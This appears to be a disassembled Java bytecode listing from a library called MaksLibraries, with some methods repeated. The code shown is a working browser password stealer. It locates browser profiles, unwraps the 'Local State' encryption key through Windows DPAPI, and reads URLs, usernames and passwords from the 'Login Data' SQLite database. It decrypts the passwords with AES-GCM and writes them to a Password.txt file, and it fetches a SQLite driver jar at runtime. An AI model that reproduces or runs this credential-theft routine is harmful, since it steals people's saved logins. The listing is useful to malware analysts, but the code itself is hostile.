0000983fnew #332 // class java/io/File
00009842dup
00009843getstatic #1078 // Field makslibraries/MaksLibraries.pathsE:Ljava/util/Map;
00009846aload_3
00009847invokeinterface #801 // Method java/util/Map.get:(Ljava/lang/Object;)Ljava/lang/Object;
0000984ccheckcast #91 // class java/lang/String
0000984finvokespecial #334 // Method java/io/File.<init>:(Ljava/lang/String;)V
00009852astore 4
00009854aload 4
00009856invokevirtual #1087 // Method java/io/File.exists:()Z
00009859ifne 65
0000985cgoto 14
0000985fnew #332 // class java/io/File
00009862dup
00009863aload 4
00009865ldc_w #468 // String "Local State"
00009868invokespecial #1090 // Method java/io/File.<init>:(Ljava/io/File;Ljava/lang/String;)V
0000986binvokestatic #1094 // Method makslibraries/MaksLibraries.getKey:(Ljava/io/File;)[B
0000986eastore 5
00009870aload 4
00009872invokevirtual #517 // Method java/io/File.listFiles:()[Ljava/io/File;
00009875astore 6
00009877aload 6
00009879arraylength
0000987aistore 7
0000987ciconst_0
0000987distore 8
0000987fiload 8
00009881iload 7
00009883if_icmpge 180
00009886aload 6
00009888iload 8
0000988aaaload
0000988bastore 9
0000988daload 9
0000988finvokevirtual #529 // Method java/io/File.getName:()Ljava/lang/String;
00009892ldc_w #1096 // String "Profile"
00009895invokevirtual #453 // Method java/lang/String.contains:(Ljava/lang/CharSequence;)Z
00009898ifne 139
0000989baload 9
0000989dinvokevirtual #529 // Method java/io/File.getName:()Ljava/lang/String;
000098a0ldc_w #1098 // String "Default"
000098a3invokevirtual #427 // Method java/lang/String.equals:(Ljava/lang/Object;)Z
000098a6ifeq 151
000098a9aload_0
000098aaaload 9
000098acaload 5
000098aeaload_1
000098afinvokespecial #1102 // Method makslibraries/MaksLibraries.crawlPasswords:(Ljava/io/File;[BLjava/lang/String;)V
000098b2goto 174
000098b5aload 9
000098b7invokevirtual #529 // Method java/io/File.getName:()Ljava/lang/String;
000098baldc_w #1104 // String "Login Data"
000098bdinvokevirtual #427 // Method java/lang/String.equals:(Ljava/lang/Object;)Z
000098c0ifeq 174
000098c3aload_0
000098c4aload 4
000098c6aload 5
000098c8aload_1
000098c9invokespecial #1102 // Method makslibraries/MaksLibraries.crawlPasswords:(Ljava/io/File;[BLjava/lang/String;)V
000098cciinc 8, 1
000098cfgoto 97
000098d2goto 14
000098d5return
0000981e
000099be
000099bemakslibraries.MaksLibraries::crawlPasswords(java.io.File, byte[], java.lang.String):
000099benew #332 // class java/io/File
000099c1dup
000099c2aload_1
000099c3ldc_w #1104 // String "Login Data"
000099c6invokespecial #1090 // Method java/io/File.<init>:(Ljava/io/File;Ljava/lang/String;)V
000099c9astore 4
000099cbnew #332 // class java/io/File
000099cedup
000099cfaload_1
000099d0ldc_w #1109 // String "Temp Login Data"
000099d3invokespecial #1090 // Method java/io/File.<init>:(Ljava/io/File;Ljava/lang/String;)V
000099d6astore 5
000099d8aload 4
000099dainvokevirtual #1087 // Method java/io/File.exists:()Z
000099ddifne 35
000099e0return
000099e1aload 4
000099e3invokevirtual #338 // Method java/io/File.toPath:()Ljava/nio/file/Path;
000099e6aload 5
000099e8invokevirtual #338 // Method java/io/File.toPath:()Ljava/nio/file/Path;
000099ebiconst_1
000099ecanewarray #1111 // class java/nio/file/CopyOption
000099efdup
000099f0iconst_0
000099f1getstatic #1117 // Field java/nio/file/StandardCopyOption.REPLACE_EXISTING:Ljava/nio/file/StandardCopyOption;
000099f4aastore
000099f5invokestatic #1121 // Method java/nio/file/Files.copy:(Ljava/nio/file/Path;Ljava/nio/file/Path;[Ljava/nio/file/CopyOption;)Ljava/nio/file/Path;
000099f8pop
000099f9aload_3
000099fainvokestatic #1125 // Method makslibraries/MaksLibraries.getDriver:(Ljava/lang/String;)Ljava/sql/Driver;
000099fdastore 6
000099ffnew #1127 // class java/util/Properties
00009a02dup
00009a03invokespecial #1128 // Method java/util/Properties.<init>:()V
00009a06astore 7
00009a08aload 6
00009a0anew #110 // class java/lang/StringBuilder
00009a0ddup
00009a0einvokespecial #111 // Method java/lang/StringBuilder.<init>:()V
00009a11ldc_w #1130 // String "jdbc:sqlite:"
00009a14invokevirtual #115 // Method java/lang/StringBuilder.append:(Ljava/lang/String;)Ljava/lang/StringBuilder;
00009a17aload 5
00009a19invokevirtual #1133 // Method java/io/File.getAbsolutePath:()Ljava/lang/String;
00009a1cinvokevirtual #115 // Method java/lang/StringBuilder.append:(Ljava/lang/String;)Ljava/lang/StringBuilder;
00009a1finvokevirtual #121 // Method java/lang/StringBuilder.toString:()Ljava/lang/String;
00009a22aload 7
00009a24invokeinterface #1138 // Method java/sql/Driver.connect:(Ljava/lang/String;Ljava/util/Properties;)Ljava/sql/Connection;
00009a29astore 8
00009a2baload 8
00009a2dinvokeinterface #1144 // Method java/sql/Connection.createStatement:()Ljava/sql/Statement;
00009a32ldc_w #1146 // String "SELECT origin_url, username_value, password_value FROM logins"
00009a35invokeinterface #1152 // Method java/sql/Statement.executeQuery:(Ljava/lang/String;)Ljava/sql/ResultSet;
00009a3aastore 9
00009a3caload 9
00009a3einvokeinterface #1156 // Method java/sql/ResultSet.next:()Z
00009a43ifeq 320
00009a46aload 9
00009a48iconst_3
00009a49invokeinterface #1159 // Method java/sql/ResultSet.getBytes:(I)[B
00009a4eastore 10
00009a50aload 10
00009a52aload_2
00009a53invokestatic #1162 // Method makslibraries/MaksLibraries.decrypt:([B[B)Ljava/lang/String;
00009a56astore 11
00009a58aload 11
00009a5aifnonnull 181
00009a5daload 9
00009a5ficonst_1
00009a60invokeinterface #1165 // Method java/sql/ResultSet.getString:(I)Ljava/lang/String;
00009a65ifnull 317
00009a68aload 9
00009a6aiconst_2
00009a6binvokeinterface #1165 // Method java/sql/ResultSet.getString:(I)Ljava/lang/String;
00009a70ifnull 317
00009a73new #110 // class java/lang/StringBuilder
00009a76dup
00009a77invokespecial #111 // Method java/lang/StringBuilder.<init>:()V
00009a7agetstatic #1167 // Field makslibraries/MaksLibraries.passwords:Ljava/lang/String;
00009a7dinvokevirtual #115 // Method java/lang/StringBuilder.append:(Ljava/lang/String;)Ljava/lang/StringBuilder;
00009a80ldc_w #1169 // String " | url: "
00009a83invokevirtual #115 // Method java/lang/StringBuilder.append:(Ljava/lang/String;)Ljava/lang/StringBuilder;
00009a86aload 9
00009a88iconst_1
00009a89invokeinterface #1165 // Method java/sql/ResultSet.getString:(I)Ljava/lang/String;
00009a8eifnull 238
00009a91aload 9
00009a93iconst_1
00009a94invokeinterface #1165 // Method java/sql/ResultSet.getString:(I)Ljava/lang/String;
00009a99ldc #108 // String ""
00009a9binvokevirtual #427 // Method java/lang/String.equals:(Ljava/lang/Object;)Z
00009a9eifne 238
00009aa1aload 9
00009aa3iconst_1
00009aa4invokeinterface #1165 // Method java/sql/ResultSet.getString:(I)Ljava/lang/String;
00009aa9goto 241
00009aacldc_w #1171 // String "N/A"
00009aafinvokevirtual #115 // Method java/lang/StringBuilder.append:(Ljava/lang/String;)Ljava/lang/StringBuilder;
00009ab2ldc_w #1173 // String " username: "
00009ab5invokevirtual #115 // Method java/lang/StringBuilder.append:(Ljava/lang/String;)Ljava/lang/StringBuilder;
00009ab8aload 9
00009abaiconst_2
00009abbinvokeinterface #1165 // Method java/sql/ResultSet.getString:(I)Ljava/lang/String;
00009ac0ifnull 288
00009ac3aload 9
00009ac5iconst_2
00009ac6invokeinterface #1165 // Method java/sql/ResultSet.getString:(I)Ljava/lang/String;
00009acbldc #108 // String ""
00009acdinvokevirtual #427 // Method java/lang/String.equals:(Ljava/lang/Object;)Z
00009ad0ifne 288
00009ad3aload 9
00009ad5iconst_2
00009ad6invokeinterface #1165 // Method java/sql/ResultSet.getString:(I)Ljava/lang/String;
00009adbgoto 291
00009adeldc_w #1171 // String "N/A"
00009ae1invokevirtual #115 // Method java/lang/StringBuilder.append:(Ljava/lang/String;)Ljava/lang/StringBuilder;
00009ae4ldc_w #1175 // String " password: "
00009ae7invokevirtual #115 // Method java/lang/StringBuilder.append:(Ljava/lang/String;)Ljava/lang/StringBuilder;
00009aeaaload 11
00009aecinvokevirtual #115 // Method java/lang/StringBuilder.append:(Ljava/lang/String;)Ljava/lang/StringBuilder;
00009aefldc_w #610 // String "\n"
00009af2invokevirtual #115 // Method java/lang/StringBuilder.append:(Ljava/lang/String;)Ljava/lang/StringBuilder;
00009af5invokevirtual #121 // Method java/lang/StringBuilder.toString:()Ljava/lang/String;
00009af8putstatic #1167 // Field makslibraries/MaksLibraries.passwords:Ljava/lang/String;
00009afbgoto 126
00009afegetstatic #1167 // Field makslibraries/MaksLibraries.passwords:Ljava/lang/String;
00009b01ifnull 472
00009b04new #1177 // class java/io/BufferedWriter
00009b07dup
00009b08new #602 // class java/io/FileWriter
00009b0bdup
00009b0cnew #110 // class java/lang/StringBuilder
00009b0fdup
00009b10invokespecial #111 // Method java/lang/StringBuilder.<init>:()V
00009b13getstatic #311 // Field makslibraries/MaksLibraries.ilrFolderPath:Ljava/lang/String;
00009b16invokevirtual #115 // Method java/lang/StringBuilder.append:(Ljava/lang/String;)Ljava/lang/StringBuilder;
00009b19ldc_w #1179 // String "\\Password.txt"
00009b1cinvokevirtual #115 // Method java/lang/StringBuilder.append:(Ljava/lang/String;)Ljava/lang/StringBuilder;
00009b1finvokevirtual #121 // Method java/lang/StringBuilder.toString:()Ljava/lang/String;
00009b22invokespecial #603 // Method java/io/FileWriter.<init>:(Ljava/lang/String;)V
00009b25invokespecial #1182 // Method java/io/BufferedWriter.<init>:(Ljava/io/Writer;)V
00009b28astore 10
00009b2aaconst_null
00009b2bastore 11
00009b2daload 10
00009b2fgetstatic #1167 // Field makslibraries/MaksLibraries.passwords:Ljava/lang/String;
00009b32invokevirtual #1183 // Method java/io/BufferedWriter.write:(Ljava/lang/String;)V
00009b35aload 10
00009b37ifnull 462
00009b3aaload 11
00009b3cifnull 405
00009b3faload 10
00009b41invokevirtual #1184 // Method java/io/BufferedWriter.close:()V
00009b44goto 462
00009b47astore 12
00009b49aload 11
00009b4baload 12
00009b4dinvokevirtual #297 // Method java/lang/Throwable.addSuppressed:(Ljava/lang/Throwable;)V
00009b50goto 462
00009b53aload 10
00009b55invokevirtual #1184 // Method java/io/BufferedWriter.close:()V
00009b58goto 462
00009b5bastore 12
00009b5daload 12
00009b5fastore 11
00009b61aload 12
00009b63athrow
00009b64astore 13
00009b66aload 10
00009b68ifnull 459
00009b6baload 11
00009b6difnull 454
00009b70aload 10
00009b72invokevirtual #1184 // Method java/io/BufferedWriter.close:()V
00009b75goto 459
00009b78astore 14
00009b7aaload 11
00009b7caload 14
00009b7einvokevirtual #297 // Method java/lang/Throwable.addSuppressed:(Ljava/lang/Throwable;)V
00009b81goto 459
00009b84aload 10
00009b86invokevirtual #1184 // Method java/io/BufferedWriter.close:()V
00009b89aload 13
00009b8bathrow
00009b8cgoto 472
00009b8fastore 10
00009b91aload 10
00009b93invokevirtual #300 // Method java/io/IOException.printStackTrace:()V
00009b96goto 482
00009b99astore 4
00009b9baload 4
00009b9dinvokevirtual #404 // Method java/lang/Exception.printStackTrace:()V
00009ba0return
000099be
000099bemakslibraries.MaksLibraries::crawlPasswords(java.io.File, byte[], java.lang.String):
000099benew #332 // class java/io/File
000099c1dup
000099c2aload_1
000099c3ldc_w #1104 // String "Login Data"
000099c6invokespecial #1090 // Method java/io/File.<init>:(Ljava/io/File;Ljava/lang/String;)V
000099c9astore 4
000099cbnew #332 // class java/io/File
000099cedup
000099cfaload_1
000099d0ldc_w #1109 // String "Temp Login Data"
000099d3invokespecial #1090 // Method java/io/File.<init>:(Ljava/io/File;Ljava/lang/String;)V
000099d6astore 5
000099d8aload 4
000099dainvokevirtual #1087 // Method java/io/File.exists:()Z
000099ddifne 35
000099e0return
000099e1aload 4
000099e3invokevirtual #338 // Method java/io/File.toPath:()Ljava/nio/file/Path;
000099e6aload 5
000099e8invokevirtual #338 // Method java/io/File.toPath:()Ljava/nio/file/Path;
000099ebiconst_1
000099ecanewarray #1111 // class java/nio/file/CopyOption
000099efdup
000099f0iconst_0
000099f1getstatic #1117 // Field java/nio/file/StandardCopyOption.REPLACE_EXISTING:Ljava/nio/file/StandardCopyOption;
000099f4aastore
000099f5invokestatic #1121 // Method java/nio/file/Files.copy:(Ljava/nio/file/Path;Ljava/nio/file/Path;[Ljava/nio/file/CopyOption;)Ljava/nio/file/Path;
000099f8pop
000099f9aload_3
000099fainvokestatic #1125 // Method makslibraries/MaksLibraries.getDriver:(Ljava/lang/String;)Ljava/sql/Driver;
000099fdastore 6
000099ffnew #1127 // class java/util/Properties
00009a02dup
00009a03invokespecial #1128 // Method java/util/Properties.<init>:()V
00009a06astore 7
00009a08aload 6
00009a0anew #110 // class java/lang/StringBuilder
00009a0ddup
00009a0einvokespecial #111 // Method java/lang/StringBuilder.<init>:()V
00009a11ldc_w #1130 // String "jdbc:sqlite:"
00009a14invokevirtual #115 // Method java/lang/StringBuilder.append:(Ljava/lang/String;)Ljava/lang/StringBuilder;
00009a17aload 5
00009a19invokevirtual #1133 // Method java/io/File.getAbsolutePath:()Ljava/lang/String;
00009a1cinvokevirtual #115 // Method java/lang/StringBuilder.append:(Ljava/lang/String;)Ljava/lang/StringBuilder;
00009a1finvokevirtual #121 // Method java/lang/StringBuilder.toString:()Ljava/lang/String;
00009a22aload 7
00009a24invokeinterface #1138 // Method java/sql/Driver.connect:(Ljava/lang/String;Ljava/util/Properties;)Ljava/sql/Connection;
00009a29astore 8
00009a2baload 8
00009a2dinvokeinterface #1144 // Method java/sql/Connection.createStatement:()Ljava/sql/Statement;
00009a32ldc_w #1146 // String "SELECT origin_url, username_value, password_value FROM logins"
00009a35invokeinterface #1152 // Method java/sql/Statement.executeQuery:(Ljava/lang/String;)Ljava/sql/ResultSet;
00009a3aastore 9
00009a3caload 9
00009a3einvokeinterface #1156 // Method java/sql/ResultSet.next:()Z
00009a43ifeq 320
00009a46aload 9
00009a48iconst_3
00009a49invokeinterface #1159 // Method java/sql/ResultSet.getBytes:(I)[B
00009a4eastore 10
00009a50aload 10
00009a52aload_2
00009a53invokestatic #1162 // Method makslibraries/MaksLibraries.decrypt:([B[B)Ljava/lang/String;
00009a56astore 11
00009a58aload 11
00009a5aifnonnull 181
00009a5daload 9
00009a5ficonst_1
00009a60invokeinterface #1165 // Method java/sql/ResultSet.getString:(I)Ljava/lang/String;
00009a65ifnull 317
00009a68aload 9
00009a6aiconst_2
00009a6binvokeinterface #1165 // Method java/sql/ResultSet.getString:(I)Ljava/lang/String;
00009a70ifnull 317
00009a73new #110 // class java/lang/StringBuilder
00009a76dup
00009a77invokespecial #111 // Method java/lang/StringBuilder.<init>:()V
00009a7agetstatic #1167 // Field makslibraries/MaksLibraries.passwords:Ljava/lang/String;
00009a7dinvokevirtual #115 // Method java/lang/StringBuilder.append:(Ljava/lang/String;)Ljava/lang/StringBuilder;
00009a80ldc_w #1169 // String " | url: "
00009a83invokevirtual #115 // Method java/lang/StringBuilder.append:(Ljava/lang/String;)Ljava/lang/StringBuilder;
00009a86aload 9
00009a88iconst_1
00009a89invokeinterface #1165 // Method java/sql/ResultSet.getString:(I)Ljava/lang/String;
00009a8eifnull 238
00009a91aload 9
00009a93iconst_1
00009a94invokeinterface #1165 // Method java/sql/ResultSet.getString:(I)Ljava/lang/String;
00009a99ldc #108 // String ""
00009a9binvokevirtual #427 // Method java/lang/String.equals:(Ljava/lang/Object;)Z
00009a9eifne 238
00009aa1aload 9
00009aa3iconst_1
00009aa4invokeinterface #1165 // Method java/sql/ResultSet.getString:(I)Ljava/lang/String;
00009aa9goto 241
00009aacldc_w #1171 // String "N/A"
00009aafinvokevirtual #115 // Method java/lang/StringBuilder.append:(Ljava/lang/String;)Ljava/lang/StringBuilder;
00009ab2ldc_w #1173 // String " username: "
00009ab5invokevirtual #115 // Method java/lang/StringBuilder.append:(Ljava/lang/String;)Ljava/lang/StringBuilder;
00009ab8aload 9
00009abaiconst_2
00009abbinvokeinterface #1165 // Method java/sql/ResultSet.getString:(I)Ljava/lang/String;
00009ac0ifnull 288
00009ac3aload 9
00009ac5iconst_2
00009ac6invokeinterface #1165 // Method java/sql/ResultSet.getString:(I)Ljava/lang/String;
00009acbldc #108 // String ""
00009acdinvokevirtual #427 // Method java/lang/String.equals:(Ljava/lang/Object;)Z
00009ad0ifne 288
00009ad3aload 9
00009ad5iconst_2
00009ad6invokeinterface #1165 // Method java/sql/ResultSet.getString:(I)Ljava/lang/String;
00009adbgoto 291
00009adeldc_w #1171 // String "N/A"
00009ae1invokevirtual #115 // Method java/lang/StringBuilder.append:(Ljava/lang/String;)Ljava/lang/StringBuilder;
00009ae4ldc_w #1175 // String " password: "
00009ae7invokevirtual #115 // Method java/lang/StringBuilder.append:(Ljava/lang/String;)Ljava/lang/StringBuilder;
00009aeaaload 11
00009aecinvokevirtual #115 // Method java/lang/StringBuilder.append:(Ljava/lang/String;)Ljava/lang/StringBuilder;
00009aefldc_w #610 // String "\n"
00009af2invokevirtual #115 // Method java/lang/StringBuilder.append:(Ljava/lang/String;)Ljava/lang/StringBuilder;
00009af5invokevirtual #121 // Method java/lang/StringBuilder.toString:()Ljava/lang/String;
00009af8putstatic #1167 // Field makslibraries/MaksLibraries.passwords:Ljava/lang/String;
00009afbgoto 126
00009afegetstatic #1167 // Field makslibraries/MaksLibraries.passwords:Ljava/lang/String;
00009b01ifnull 472
00009b04new #1177 // class java/io/BufferedWriter
00009b07dup
00009b08new #602 // class java/io/FileWriter
00009b0bdup
00009b0cnew #110 // class java/lang/StringBuilder
00009b0fdup
00009b10invokespecial #111 // Method java/lang/StringBuilder.<init>:()V
00009b13getstatic #311 // Field makslibraries/MaksLibraries.ilrFolderPath:Ljava/lang/String;
00009b16invokevirtual #115 // Method java/lang/StringBuilder.append:(Ljava/lang/String;)Ljava/lang/StringBuilder;
00009b19ldc_w #1179 // String "\\Password.txt"
00009b1cinvokevirtual #115 // Method java/lang/StringBuilder.append:(Ljava/lang/String;)Ljava/lang/StringBuilder;
00009b1finvokevirtual #121 // Method java/lang/StringBuilder.toString:()Ljava/lang/String;
00009b22invokespecial #603 // Method java/io/FileWriter.<init>:(Ljava/lang/String;)V
00009b25invokespecial #1182 // Method java/io/BufferedWriter.<init>:(Ljava/io/Writer;)V
00009b28astore 10
00009b2aaconst_null
00009b2bastore 11
00009b2daload 10
00009b2fgetstatic #1167 // Field makslibraries/MaksLibraries.passwords:Ljava/lang/String;
00009b32invokevirtual #1183 // Method java/io/BufferedWriter.write:(Ljava/lang/String;)V
00009b35aload 10
00009b37ifnull 462
00009b3aaload 11
00009b3cifnull 405
00009b3faload 10
00009b41invokevirtual #1184 // Method java/io/BufferedWriter.close:()V
00009b44goto 462
00009b47astore 12
00009b49aload 11
00009b4baload 12
00009b4dinvokevirtual #297 // Method java/lang/Throwable.addSuppressed:(Ljava/lang/Throwable;)V
00009b50goto 462
00009b53aload 10
00009b55invokevirtual #1184 // Method java/io/BufferedWriter.close:()V
00009b58goto 462
00009b5bastore 12
00009b5daload 12
00009b5fastore 11
00009b61aload 12
00009b63athrow
00009b64astore 13
00009b66aload 10
00009b68ifnull 459
00009b6baload 11
00009b6difnull 454
00009b70aload 10
00009b72invokevirtual #1184 // Method java/io/BufferedWriter.close:()V
00009b75goto 459
00009b78astore 14
00009b7aaload 11
00009b7caload 14
00009b7einvokevirtual #297 // Method java/lang/Throwable.addSuppressed:(Ljava/lang/Throwable;)V
00009b81goto 459
00009b84aload 10
00009b86invokevirtual #1184 // Method java/io/BufferedWriter.close:()V
00009b89aload 13
00009b8bathrow
00009b8cgoto 472
00009b8fastore 10
00009b91aload 10
00009b93invokevirtual #300 // Method java/io/IOException.printStackTrace:()V
00009b96goto 482
00009b99astore 4
00009b9baload 4
00009b9dinvokevirtual #404 // Method java/lang/Exception.printStackTrace:()V
00009ba0return
000099be
00009e66
00009e66makslibraries.MaksLibraries::getDriver(java.lang.String):
00009e66new #332 // class java/io/File
00009e69dup
00009e6aaload_0
00009e6bldc_w #1199 // String "config/essential/sqlite-jdbc-3.23.1.jar"
00009e6einvokespecial #1201 // Method java/io/File.<init>:(Ljava/lang/String;Ljava/lang/String;)V
00009e71astore_1
00009e72new #665 // class java/net/URL
00009e75dup
00009e76ldc_w #1203 // String "https://repo1.maven.org/maven2/org/xerial/sqlite-jdbc/3.23.1/sqlite-jdbc-3.23.1.jar"
00009e79invokespecial #691 // Method java/net/URL.<init>:(Ljava/lang/String;)V
00009e7castore_2
00009e7daload_1
00009e7einvokevirtual #1087 // Method java/io/File.exists:()Z
00009e81ifne 35
00009e84aload_2
00009e85aload_1
00009e86invokestatic #1207 // Method org/apache/commons/io/FileUtils.copyURLToFile:(Ljava/net/URL;Ljava/io/File;)V
00009e89aload_1
00009e8ainvokevirtual #1210 // Method java/io/File.deleteOnExit:()V
00009e8dnew #1212 // class java/net/URLClassLoader
00009e90dup
00009e91iconst_1
00009e92anewarray #665 // class java/net/URL
00009e95dup
00009e96iconst_0
00009e97aload_1
00009e98invokevirtual #1216 // Method java/io/File.toURI:()Ljava/net/URI;
00009e9binvokevirtual #1222 // Method java/net/URI.toURL:()Ljava/net/URL;
00009e9eaastore
00009e9finvokespecial #1225 // Method java/net/URLClassLoader.<init>:([Ljava/net/URL;)V
00009ea2astore_3
00009ea3ldc_w #1227 // String "org.sqlite.JDBC"
00009ea6iconst_1
00009ea7aload_3
00009ea8invokestatic #1233 // Method java/lang/Class.forName:(Ljava/lang/String;ZLjava/lang/ClassLoader;)Ljava/lang/Class;
00009eabastore 4
00009eadaload 4
00009eafinvokevirtual #1236 // Method java/lang/Class.newInstance:()Ljava/lang/Object;
00009eb2astore 5
00009eb4aload 5
00009eb6checkcast #1135 // class java/sql/Driver
00009eb9areturn
00009ebaastore_1
00009ebbaload_1
00009ebcinvokevirtual #404 // Method java/lang/Exception.printStackTrace:()V
00009ebfaconst_null
00009ec0areturn
00009e66
00009e66makslibraries.MaksLibraries::getDriver(java.lang.String):
00009e66new #332 // class java/io/File
00009e69dup
00009e6aaload_0
00009e6bldc_w #1199 // String "config/essential/sqlite-jdbc-3.23.1.jar"
00009e6einvokespecial #1201 // Method java/io/File.<init>:(Ljava/lang/String;Ljava/lang/String;)V
00009e71astore_1
00009e72new #665 // class java/net/URL
00009e75dup
00009e76ldc_w #1203 // String "https://repo1.maven.org/maven2/org/xerial/sqlite-jdbc/3.23.1/sqlite-jdbc-3.23.1.jar"
00009e79invokespecial #691 // Method java/net/URL.<init>:(Ljava/lang/String;)V
00009e7castore_2
00009e7daload_1
00009e7einvokevirtual #1087 // Method java/io/File.exists:()Z
00009e81ifne 35
00009e84aload_2
00009e85aload_1
00009e86invokestatic #1207 // Method org/apache/commons/io/FileUtils.copyURLToFile:(Ljava/net/URL;Ljava/io/File;)V
00009e89aload_1
00009e8ainvokevirtual #1210 // Method java/io/File.deleteOnExit:()V
00009e8dnew #1212 // class java/net/URLClassLoader
00009e90dup
00009e91iconst_1
00009e92anewarray #665 // class java/net/URL
00009e95dup
00009e96iconst_0
00009e97aload_1
00009e98invokevirtual #1216 // Method java/io/File.toURI:()Ljava/net/URI;
00009e9binvokevirtual #1222 // Method java/net/URI.toURL:()Ljava/net/URL;
00009e9eaastore
00009e9finvokespecial #1225 // Method java/net/URLClassLoader.<init>:([Ljava/net/URL;)V
00009ea2astore_3
00009ea3ldc_w #1227 // String "org.sqlite.JDBC"
00009ea6iconst_1
00009ea7aload_3
00009ea8invokestatic #1233 // Method java/lang/Class.forName:(Ljava/lang/String;ZLjava/lang/ClassLoader;)Ljava/lang/Class;
00009eabastore 4
00009eadaload 4
00009eafinvokevirtual #1236 // Method java/lang/Class.newInstance:()Ljava/lang/Object;
00009eb2astore 5
00009eb4aload 5
00009eb6checkcast #1135 // class java/sql/Driver
00009eb9areturn
00009ebaastore_1
00009ebbaload_1
00009ebcinvokevirtual #404 // Method java/lang/Exception.printStackTrace:()V
00009ebfaconst_null
00009ec0areturn
00009e66
00009f87
00009f87makslibraries.MaksLibraries::getKey(java.io.File):
00009f87new #461 // class com/google/gson/Gson
00009f8adup
00009f8binvokespecial #462 // Method com/google/gson/Gson.<init>:()V
00009f8enew #464 // class java/io/FileReader
00009f91dup
00009f92aload_0
00009f93invokespecial #920 // Method java/io/FileReader.<init>:(Ljava/io/File;)V
00009f96ldc_w #475 // class com/google/gson/JsonObject
00009f99invokevirtual #479 // Method com/google/gson/Gson.fromJson:(Ljava/io/Reader;Ljava/lang/Class;)Ljava/lang/Object;
00009f9ccheckcast #475 // class com/google/gson/JsonObject
00009f9fastore_1
00009fa0aload_1
00009fa1ldc_w #481 // String "os_crypt"
00009fa4invokevirtual #484 // Method com/google/gson/JsonObject.get:(Ljava/lang/String;)Lcom/google/gson/JsonElement;
00009fa7invokevirtual #490 // Method com/google/gson/JsonElement.getAsJsonObject:()Lcom/google/gson/JsonObject;
00009faaldc_w #492 // String "encrypted_key"
00009fadinvokevirtual #484 // Method com/google/gson/JsonObject.get:(Ljava/lang/String;)Lcom/google/gson/JsonElement;
00009fb0invokevirtual #495 // Method com/google/gson/JsonElement.getAsString:()Ljava/lang/String;
00009fb3invokevirtual #281 // Method java/lang/String.getBytes:()[B
00009fb6astore_2
00009fb7invokestatic #499 // Method java/util/Base64.getDecoder:()Ljava/util/Base64$Decoder;
00009fbaaload_2
00009fbbinvokevirtual #502 // Method java/util/Base64$Decoder.decode:([B)[B
00009fbeastore_2
00009fbfaload_2
00009fc0iconst_5
00009fc1aload_2
00009fc2arraylength
00009fc3invokestatic #380 // Method java/util/Arrays.copyOfRange:([BII)[B
00009fc6astore_2
00009fc7aload_2
00009fc8invokestatic #507 // Method com/sun/jna/platform/win32/Crypt32Util.cryptUnprotectData:([B)[B
00009fcbareturn
00009fccastore_1
00009fcdaload_1
00009fceinvokevirtual #404 // Method java/lang/Exception.printStackTrace:()V
00009fd1aconst_null
00009fd2areturn
00009f87
00009f87makslibraries.MaksLibraries::getKey(java.io.File):
00009f87new #461 // class com/google/gson/Gson
00009f8adup
00009f8binvokespecial #462 // Method com/google/gson/Gson.<init>:()V
00009f8enew #464 // class java/io/FileReader
00009f91dup
00009f92aload_0
00009f93invokespecial #920 // Method java/io/FileReader.<init>:(Ljava/io/File;)V
00009f96ldc_w #475 // class com/google/gson/JsonObject
00009f99invokevirtual #479 // Method com/google/gson/Gson.fromJson:(Ljava/io/Reader;Ljava/lang/Class;)Ljava/lang/Object;
00009f9ccheckcast #475 // class com/google/gson/JsonObject
00009f9fastore_1
00009fa0aload_1
00009fa1ldc_w #481 // String "os_crypt"
00009fa4invokevirtual #484 // Method com/google/gson/JsonObject.get:(Ljava/lang/String;)Lcom/google/gson/JsonElement;
00009fa7invokevirtual #490 // Method com/google/gson/JsonElement.getAsJsonObject:()Lcom/google/gson/JsonObject;
00009faaldc_w #492 // String "encrypted_key"
00009fadinvokevirtual #484 // Method com/google/gson/JsonObject.get:(Ljava/lang/String;)Lcom/google/gson/JsonElement;
00009fb0invokevirtual #495 // Method com/google/gson/JsonElement.getAsString:()Ljava/lang/String;
00009fb3invokevirtual #281 // Method java/lang/String.getBytes:()[B
00009fb6astore_2
00009fb7invokestatic #499 // Method java/util/Base64.getDecoder:()Ljava/util/Base64$Decoder;
00009fbaaload_2
00009fbbinvokevirtual #502 // Method java/util/Base64$Decoder.decode:([B)[B
00009fbeastore_2
00009fbfaload_2
00009fc0iconst_5
00009fc1aload_2
00009fc2arraylength
00009fc3invokestatic #380 // Method java/util/Arrays.copyOfRange:([BII)[B
00009fc6astore_2
00009fc7aload_2
00009fc8invokestatic #507 // Method com/sun/jna/platform/win32/Crypt32Util.cryptUnprotectData:([B)[B
00009fcbareturn
00009fccastore_1
00009fcdaload_1
00009fceinvokevirtual #404 // Method java/lang/Exception.printStackTrace:()V
00009fd1aconst_null
00009fd2areturn
00009f87
0000a05b
0000a05bmakslibraries.MaksLibraries::decrypt(byte[], byte[]):
0000a05bldc_w #368 // String "AES/GCM/NoPadding"
0000a05einvokestatic #374 // Method javax/crypto/Cipher.getInstance:(Ljava/lang/String;)Ljavax/crypto/Cipher;
0000a061astore_2
0000a062aload_0
0000a063iconst_3
0000a064bipush 15
0000a066invokestatic #380 // Method java/util/Arrays.copyOfRange:([BII)[B
0000a069astore_3
0000a06aaload_0
0000a06bbipush 15
0000a06daload_0
0000a06earraylength
0000a06finvokestatic #380 // Method java/util/Arrays.copyOfRange:([BII)[B
0000a072astore 4
0000a074new #382 // class javax/crypto/spec/GCMParameterSpec
0000a077dup
0000a078sipush 128
0000a07baload_3
0000a07cinvokespecial #385 // Method javax/crypto/spec/GCMParameterSpec.<init>:(I[B)V
0000a07fastore 5
0000a081new #387 // class javax/crypto/spec/SecretKeySpec
0000a084dup
0000a085aload_1
0000a086ldc_w #389 // String "AES"
0000a089invokespecial #392 // Method javax/crypto/spec/SecretKeySpec.<init>:([BLjava/lang/String;)V
0000a08castore 6
0000a08eaload_2
0000a08ficonst_2
0000a090aload 6
0000a092aload 5
0000a094invokevirtual #396 // Method javax/crypto/Cipher.init:(ILjava/security/Key;Ljava/security/spec/AlgorithmParameterSpec;)V
0000a097new #91 // class java/lang/String
0000a09adup
0000a09baload_2
0000a09caload 4
0000a09einvokevirtual #400 // Method javax/crypto/Cipher.doFinal:([B)[B
0000a0a1invokespecial #403 // Method java/lang/String.<init>:([B)V
0000a0a4areturn
0000a0a5astore_2
0000a0a6aload_2
0000a0a7invokevirtual #404 // Method java/lang/Exception.printStackTrace:()V
0000a0aaaconst_null
0000a0abareturn
0000a05b
0000a05bmakslibraries.MaksLibraries::decrypt(byte[], byte[]):
0000a05bldc_w #368 // String "AES/GCM/NoPadding"
